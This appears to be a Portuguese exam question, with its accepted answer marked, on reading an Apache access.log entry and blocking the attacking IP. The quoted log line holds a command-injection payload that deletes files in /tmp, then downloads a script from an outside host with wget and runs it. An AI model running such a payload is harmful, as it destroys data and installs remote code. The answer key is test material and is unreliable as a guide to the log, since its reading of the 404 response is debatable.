Question

Um administrador de rede, ao analisar o arquivo access.log, encontrou a seguinte registro:
192.168.0.2 - - [01/Sep/2022:00:25:55 -0300] "GET /contas_a_receber.php?cd+/tmp;rm+-rf+*;wget+networkmapping.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 404 "-" "Hello, world"
Qual é a correta interpretação (item I) do log e a ação no arquivo de configuração do Apache (item II) para bloquear o IP de origem que gerou o incidente?

Accepted Answer

A) I. O log demonstra uma tentativa de ataque chamada "Injeção de Comando", indicando que o atacante tentou realizar o download de um script malicioso, entretanto, ele não estava disponível no servidor remoto. II. DocumentRoot /var/www/financeiro ServerName financeiro.exemplo.net Order deny,allow Deny from 192.168.0.2

Answer

B) I. O log demonstra, após a interpretação dos parâmetros enviados à página contas_a_receber.php, que o site networkmapping.xyz retornou a mensagem "Hello, world", indicando que está operacional.
II. Nenhuma ação é necessária, pois é um acesso legítimo.

Answer

C) I. O log demonstra que, por meio da requisição do tipo GET, o download do script foi realizado com sucesso e a execução retornou a mensagem "Hello, world". III. DocumentRoot /var/www/financeiro ServerName financeiro.exemplo.net Order deny,allow Allow from all !192.168.0.2/24

Answer

D) I. O log demonstra uma tentativa de ataque chamada "Injeção de Comando", indicando que o atacante tentou realizar o download de um script malicioso, entretanto ele não estava disponível no servidor remoto. II. DocumentRoot /var/www/financeiro ServerName financeiro.exemplo.net Order deny,allow Deny from 192.168.0.2/24

Answer

E) I. O log demonstra que o Cliente02, por meio de uma requisição do tipo GET, tentou realizar o download de um script no diretório /tmp, tendo a sua execução retornado o erro "HTTP 404 - Hello, world". II. DocumentRoot /var/www/financeiro ServerName financeiro.exemplo.net Order deny,allow Deny from all except 192.168.0.2

Mais questões de Outros temas